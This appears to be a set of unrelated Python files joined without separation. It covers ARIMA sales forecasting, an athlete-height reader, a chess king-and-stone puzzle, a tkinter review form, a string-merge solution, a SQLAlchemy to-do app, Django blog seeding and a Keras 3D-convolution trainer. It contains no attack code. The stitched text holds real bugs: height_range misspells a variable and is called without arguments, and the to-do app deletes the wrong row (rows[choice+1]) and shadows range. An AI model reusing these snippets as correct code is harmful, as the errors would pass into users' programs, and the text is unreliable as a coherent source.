    if app.config.get("LOG_FILE"):
        fh = logging.FileHandler(app.config.get("LOG_FILE"))
        fh.setLevel(logging.DEBUG)
        fh.setFormatter(formatter)
        app.logger.addHandler(fh)


import pandas as pd
import sys
import matplotlib.pyplot as plt
from statsmodels.graphics.tsaplots import plot_acf, plot_pacf
import statsmodels.tsa.api as smt
from statsmodels.tsa.stattools import adfuller   #平稳性检验
from statsmodels.stats.diagnostic import acorr_ljungbox   #白噪声检验
import numpy as np
from statsmodels.graphics.tsaplots import plot_predict

path = str(sys.path[0]).replace('\\run','')

# 现有某公司电脑产品销量的数据，想要对电商渠道的销量建立模型并进行预测
call = pd.read_csv(path + '/data/Call.csv')
# print(call.head())
# 将数据集分成建模数据集与验证数据集。建模数据集为前70%，验证数据集后30%
train_call = call.loc[0:183, ['starting_date', 'dotcom_calls']]
test_call = call.loc[184:262, ['starting_date', 'dotcom_calls']]
print("训练集数：", len(train_call))
print("验证集数：", len(test_call))

# 绘制训练数据的时序图，判断序列的平稳性
train_call['starting_date'] = pd.to_datetime(train_call['starting_date'])
train_call.set_index("starting_date", inplace=True)
test_call['starting_date'] = pd.to_datetime(test_call['starting_date'])
test_call.set_index("starting_date", inplace=True)
# 训练数据时序图
# plt.figure(figsize=(20, 6))
# plt.plot(train_call)
# plt.xlabel('Time')
# plt.show()

# 52步的差分，去除周期趋势
call_1 = train_call.diff(52)

call_1 = call_1[52:184]
# plt.plot(call_1)
# plt.xlabel('Time')
# plt.show()

# 时序图仍不稳定，继续做1阶差分消除长期趋势
call_2 = call_1.diff(1)
# plt.plot(call_2)
# plt.xlabel('Time')
# plt.show()

def draw_acf_pacf(ts, subtitle, lags=30):
    print("自相关图和偏自相关图,maxlags={}".format(lags))
    f = plt.figure(facecolor='white', figsize=(18,4))
    ax1 = f.add_subplot(121)
    plot_acf(ts, lags=lags, ax=ax1, title='ACF\n{}'.format(subtitle))
    ax2 = f.add_subplot(122)
    plot_pacf(ts, lags=lags, ax=ax2, title='PACF\n{}'.format(subtitle))

# 使用acf函数与pacf函数绘制差分后的数据的自相关图与偏自相关图
# draw_acf_pacf(call_2[1:], 'dotcom_calls - 52步差分后再做1阶差分', lags=30)
# plt.show()
# 自相关图和偏自相关图中不能明确地确定模型的阶数，所以使用AIC准则进行定阶
best_aic = np.inf # 表示一个无限大的正数
best_order = None
best_mdl = None
pq_rng = range(2)
d_rng = range(1)

for p in pq_rng:
    for d in d_rng:
        for q in pq_rng:
            try:
                tmp_mdl = smt.ARIMA(call_2[1:], order=(p, d, q)).fit()
                tmp_aic = tmp_mdl.aic
                print('aic : {:6.5f}| order: {}'.format(tmp_aic, (p, d, q)))
                if tmp_aic < best_aic:
                    best_aic = tmp_aic
                    best_order = (p, d, q)
                    best_mdl = tmp_mdl
            except:
                continue
print('\naic: {:6.5f}| order: {}'.format(best_aic, best_order))
# 通过AIC准则可以判断经过差分处理后的数据应使用ARIMA(1, 0, 1)模型

call_arima_a = smt.ARIMA(call_2[1:], order=(1, 0, 1)).fit()
print(call_arima_a.summary())

# 残差序列时序图
# plt.plot(call_arima_a.resid)
# plt.ylabel('Residual')
# plt.show()

# 残差ACF图和PACF图
draw_acf_pacf(call_arima_a.resid, '残差', lags=30)
# plt.show()
# 从图中可以看出，残差已经无信息可提取。在残差自相关图中，残差滞后各期均无显著的自相关性。
# 在残差偏自相关图中，残差滞后各期也无显著的偏自相关性。

# 使用模型对测试数据进行预测
call_arima_final = smt.SARIMAX(train_call, order=(1, 1, 1), seasonal_order=(0, 1, 0, 52)).fit()
fig, ax = plt.subplots(figsize=(10, 8))
fig = plot_predict(call_arima_final, start="2014-07-13", end="2016-02-03", ax=ax)
legend = ax.legend(loc="upper left")
plt.show()


'''
Created on Sept 24, 2017

@author: Austin Lee
'''

def process(name):
    # name is a file, returns a list of strings
    #    from the file
    f = open(name)
    answer = []
    for line in f:
        #answer.append(line.strip())
        answer.append(line.strip().split(":"))

    #answer = str(answer)
    #x = answer.split(":")
    return answer

def averageHeight(answer):
    total_height = 0
    x = 0
    for myList in answer:
        height = myList[4]
        height = int(height)
        total_height += height
        x+=1
        averageheight = total_height/x
    print("")
    print("The average height is:")
    print(averageheight)
    print("")
    print("")

def maxHeight(answer):
    max_height = 0
    for myList in answer:
        maxu_height = myList[4]
        maxu_height = int(maxu_height)
        if maxu_height > max_height:
            max_height = maxu_height
    print("")
    print("The maximum height is:")
    print(max_height)
    print("")
    print("")

def height_range(answer, height1, height2):
    height1 = 50
    hegith2 = 80
    for myList in answer:
        heightstart = myList[4]
        heightstart = int(heightstart)
        if heightstart <= height1:
            heightstart = height1
        else:
            heightstart = height2

filename = "athletes.txt"
data = process(filename)
print("THE DATA IS:")
for item in data:
    print(item)
averageHeight(data)
maxHeight(data)
height_range(data)


# arr = [[0] * 9 for _ in range(9)]
alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H']

dx = [1, -1, 0, 0, 1, 1, -1, -1] #상하좌우 좌상 우상 좌하 우하
dy = [0, 0, -1, 1, -1, 1, -1, 1]

move = {'R': 3, 'L': 2, 'B': 1, 'T': 0, 'RT': 5, 'LT': 4, 'RB': 7, 'LB': 6}

k, s, N = input().split()
king_x = int(k[1])
king_y = alphabet.index(k[0]) + 1
stone_x = int(s[1])
stone_y = alphabet.index(s[0]) + 1
# arr[king_x][king_y] = 'K'
# arr[stone_x][stone_y] = 'S'

lst = list(input() for _ in range(int(N)))

kx, ky = king_x, king_y
sx, sy = stone_x, stone_y
for l in lst:

    nkx, nky = kx + dx[move[l]], ky + dy[move[l]]
    if 0 < nkx < 9 and 0 < nky < 9:
        if nkx == sx and nky == sy:
            nsx, nsy = sx + dx[move[l]], sy + dy[move[l]]
            if 0 < nsx < 9 and 0 < nsy < 9:
                # arr[sx][sy], arr[nsx][nsy] = arr[nsx][nsy], arr[sx][sy]
                sx, sy = nsx, nsy
            else:
                continue
        # arr[kx][ky], arr[nkx][nky] = arr[nkx][nky], arr[kx][ky]
        kx, ky = nkx, nky

king_result = ''
stone_result = ''

king_result += alphabet[ky-1]
king_result += str(kx)
stone_result += alphabet[sy-1]
stone_result += str(sx)

print(king_result)
print(stone_result)


from tkinter import *

root=Tk()
root.geometry("500x500")
font=("times 15 bold")

def opr():
    with open("data.txt","a+") as file:
        file.write(f"{e1.get()} {e2.get()} {slide.get()}")
    return

name=Label(root,text="Name",font=font).grid(row=0,column=0,pady=25)
food=Label(root,text="Food Ordered",font=font).grid(row=1,column=0,pady=10,padx=10)

# var1=StringVar()
# var2=StringVar()
e1=Entry(root)
e1.grid(row=0,column=1)
e2=Entry(root)
e2.grid(row=1,column=1)

Label(root,text="Review").grid(row=2,column=0)
slide=Scale(root,from_=1,to=5,tickinterval=1,orient=HORIZONTAL)
slide.grid(row=2,column=1)
slide.set(5)
# btn=Button(root,text="Submit",padx=10,pady=10,command=lambda:print(e1.get())
btn=Button(root,text="Submit",padx=10,pady=10,command=opr)
btn.grid(row=3,column=0)
btn.bind("<Enter>",lambda event:btn.config(fg="red")) #e since bind by default return event object
btn.bind("<Leave>",lambda event:btn.config(fg="black")) #e since bind by default return event object
root.mainloop()


class Solution:
    def mergeAlternately(self, word1: str, word2: str) -> str:
        i=0
        j=0

        #merged output
        merge=""

       # two pointer for 2 word
        while i<len(word1) and j<len(word2):

            #even places for word1
            if len(merge)%2==0:
                merge+=word1[i]
                i+=1
            else:
                #odd places for word2
                 merge+=word2[j]
                 j+=1

        #append the rest of the letters
        merge+=word1[i:]
        merge+=word2[j:]

        #return merged word.
        return merge


# Imports

from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String, Date
from sqlalchemy.orm import sessionmaker
from datetime import datetime, date

# Database Creation
engine = create_engine('sqlite:///todo.db?check_same_thread=False')
Base = declarative_base()

class Table(Base):
    __tablename__ = 'task'
    id = Column(Integer, primary_key=True)
    task = Column(String, )
    deadline = Column(Date, default=datetime.today())

    def __repr__(self):
        return self.task

Base.metadata.create_all(engine)
Session = sessionmaker(bind=engine)
session = Session()

# Main Program
while True:
    print('''1) Today's tasks
2) Week's tasks
3) All tasks
4) Missed tasks
5) Add task
6) Delete task
0) Exit''')
    menu = int(input())
    if menu == 0:
        print('Bye!')
        break
    if menu == 1:
        today = datetime.today()
        print('Today', today.strftime('%d'), today.strftime('%b'), ':')
        query = session.query(Table).filter(Table.deadline == today).all()
        if not query:
            print('Nothing to do!')
            continue
        print(query)
        continue
    if menu ==2:
        now = datetime.today()
        year = int(now.strftime("%Y"))
        month = int(now.strftime("%m"))
        day = int(now.strftime("%d")) - 1
        for i in range (1,8):
            if month in {1, 3, 5, 7, 8, 10, 12}:
                if day + 1 > 31:
                    month = month + 1
                    day = day + 1 - 31
                else:
                    day = day + 1
            else:
                if day + 1 > 30:
                    month = month + 1
                    day = day + 1 - 30
                else:
                    day = day + 1
            range = date(year, month, day)
            query = session.query(Table).filter(Table.deadline == range).all()
            print()
            print(range.strftime('%A'), range.strftime('%d'), range.strftime('%b'), ':')
            if not query:
                print('Nothing to do!')
                continue
            print(query)
        print()
        continue
    if menu == 3:
        rows = session.query(Table).all()
        for i in rows:
            print(i.deadline)
            print(i.task)
    if menu == 4:
        print()
        print('Missed tasks:')
        num = 0
        rows = session.query(Table).filter(Table.deadline < datetime.today()).all()
        if not rows:
            print('Nothing is missed!')
        for row in rows:
            da = (row.deadline).strftime('%d')
            mo = (row.deadline).strftime('%b')
            print(num+1, ')', row, da, mo)
            num = num + 1
        print()
    if menu == 5:
        a = input('Enter task')
        b = input('Enter deadline')
        c, d, e  = day = map(int, b.split('-'))
        dater = date(c, d, e)
        new_row = Table(task=a, deadline = dater)
        session.add(new_row)
        session.commit()
        print('The task has been added!')
        continue
    if menu == 6:
        num = 0
        print('Chose the number of the task you want to delete:')
        rows = session.query(Table).all()
        for row in rows:
            da = (row.deadline).strftime('%d')
            mo = (row.deadline).strftime('%b')
            print(num + 1, '.', row, da, mo)
            num = num + 1
        choice = int(input())
        srow = rows[choice+1]
        session.delete(srow)
        session.commit()
        print('The task has been deleted!')


from blog.models import Article, Category

cat = Category(name="blog")
cat.save()

art = Article(title="My first blog lol", author="Me lol", content="This is a blog it's so blog lolg")
art.category = cat
art.save()

art = Article(title="Anotherone", author="Me lol", content="Has someone seen my pie it's cherry tasting?")
art.category = cat
art.save()

art = Article(title="Life is sad", author="Me lol", content="For when the rain is hard and the dead leaves on the ground smell like the harsh reality of the lives of forgotten souls of the past, my pie is gone and so am I.")
art.category = cat
art.save()


window_size = 8
# -*- coding: utf-8 -*-

import os
import cv2
import imutils
import numpy as np

from imutils import paths
from keras.utils import np_utils
from sklearn.preprocessing import LabelEncoder
from sklearn.model_selection import train_test_split

import keras
# from keras import backend as K
from keras.layers import Input
from keras.models import Model
from keras.layers import Dense
from keras.models import Sequential
from keras.layers import Activation, ZeroPadding3D, GlobalAveragePooling3D
from keras.preprocessing import image
from keras.layers.pooling import MaxPooling3D
from keras.layers.convolutional import Conv3D
from keras.layers.core import Dropout, Flatten
from keras.layers.convolutional_recurrent import ConvLSTM2D
# from keras.layers import BatchNormalization
from keras.layers import Deconvolution3D
from keras.layers.normalization import BatchNormalization
from keras.preprocessing.image import ImageDataGenerator

history = None
chanel = 1
size_w, size_h = 64, 64
epochs = 80
batch = 4

name_file = "/home/oberon/Downloads/dataset_test"
path = "{}".format(name_file)

data = []
labels = []

(trainData, testData, trainLabels, testLabels) = (None, None, None, None)
input_shape = (window_size, size_w, size_h, chanel)

def mask_resize(img, size):
    #rh, rw, _ = img.shape
    rh, rw = img.shape
    #mask = np.ones((size, size, 3), np.uint8) - 255
    mask = np.ones((size, size), np.uint8) - 255
    if rh > rw:
        img = imutils.resize(img, height=size)
        #ih, iw, _ = img.shape
        print(img.shape)
        ih, iw = img.shape
        mask[0:ih, 0:iw] = img
    else:
        img = imutils.resize(img, width=size)
        #ih, iw, _ = img.shape
        ih, iw = img.shape
        mask[0:ih, 0:iw] = img

    return mask

def image_to_feature_vector(images, size=()):
    global window_size, history, chanel, size_w, size_h, epochs, batch, path, data, labels, trainData, testData, trainLabels, testLabels, input_shape

    images = images[:window_size]
    res_imagens = np.array([cv2.resize(imagem, (size[1], size[2])) for imagem in images]).flatten()
    return res_imagens

def init_net():
    global window_size, history, chanel, size_w, size_h, epochs, batch, path, data, labels, trainData, testData, trainLabels, testLabels, input_shape

    size = len(list(paths.list_images(path)))
    idx = 0

    dataset_path = os.listdir(path)

    for name_label in dataset_path:

        path_samples = "{}/{}".format(path, name_label)
        samples = os.listdir(path_samples)

        for sample in samples:

            name_sample = "{}/{}/{}".format(path, name_label, sample)
            name_sample = os.listdir(name_sample)

            item_imagem = []
            for (i, subsample) in enumerate(name_sample):
                name_sample = "{}/{}/{}/{}".format(path, name_label, sample, subsample)

                if chanel == 1:
                    image = cv2.imread(name_sample, 0)
                    image = mask_resize(image, size_w)
                else:
                    image = cv2.imread(name_sample, 1)
                    image = mask_resize(image, size_w)
                item_imagem.append(image)

                per = float((idx * 100) / size)
                print("[INFO] processed {}/{:.2f}%".format(idx, per))
                idx += 1

            features = image_to_feature_vector(item_imagem, (window_size, size_w, size_h))
            data.append(features)
            labels.append(name_label)

    # encode the labels
    le = LabelEncoder()
    labels = le.fit_transform(labels)

    data = np.array(data) / 255.0
    labels = np_utils.to_categorical(labels, 2)

    data = data.reshape(data.shape[0], window_size, size_w, size_h, chanel)

#---------------------------------------
def DSTCAE_Deconv(img_width, img_height, win_length):
    """
    int win_length: Length of window of frames

    Replace Upsampling with Deconv
    """

    input_shape = (win_length, img_width, img_height, 1)

    temp_pool = 2
    temp_depth = 5

    model = Sequential()
    model.add(Conv3D(16, (temp_depth, 3, 3), activation='relu', padding='same', input_shape=input_shape))
    model.add(MaxPooling3D((2, 2, 2), padding='same'))
    model.add(Dropout(0.25))

    model.add(Conv3D(8, (temp_depth, 3, 3), activation='relu', padding='same'))
    model.add(MaxPooling3D((temp_pool, 2, 2), padding='same'))

    model.add(Deconvolution3D(8, (temp_depth, 3, 3), strides=(2, 2, 2), activation='relu', padding='same'))
    model.add(Deconvolution3D(8, (temp_depth, 3, 3), strides=(2, 2, 2), activation='relu', padding='same'))

    model.add(Conv3D(1, (temp_depth, 3, 3), activation='tanh', padding='same'))
    model.add(Flatten())
    model.add(Dense(2, activation='softmax'))

    print(model.summary())

    model_type = 'conv'
    model_name = 'DSTCAE_Deconv-pooling-win_{}'.format(win_length)

    return model, model_name, model_type
#---------------------------------------

def compile_and_train(model):
    global name_file, window_size, history, chanel, size_w, size_h, epochs, batch, path, data, data, labels, trainData, testData, trainLabels, testLabels, input_shape

    print("[INFO] constructing training/testing split...")
    (trainData, testData, trainLabels, testLabels) = train_test_split(
        data, labels, test_size=0.2, random_state=42)

    print("[INFO] compiling model...")

    #autoencoder.compile(optimizer='adadelta', loss='mean_squared_error', metrics=['accuracy'])

    model.compile(loss='mean_squared_error',
              optimizer='adadelta',
              #optimizer=keras.optimizers.Adagrad(lr=0.1),
              metrics=['accuracy'])

    history = model.fit(trainData, trainLabels,
          # class_weight={0: 1., 1: 1.53},
          batch_size=batch,
          epochs=epochs,
          verbose=2,
          validation_data=(testData, testLabels))

    #model.fit(trainData, trainLabels, epochs=50, batch_size=1, verbose=2,
    #             validation_data=(testData, testLabels))

init_net()
model, model_name, model_type = DSTCAE_Deconv(64, 64, 8)
compile_and_train(model)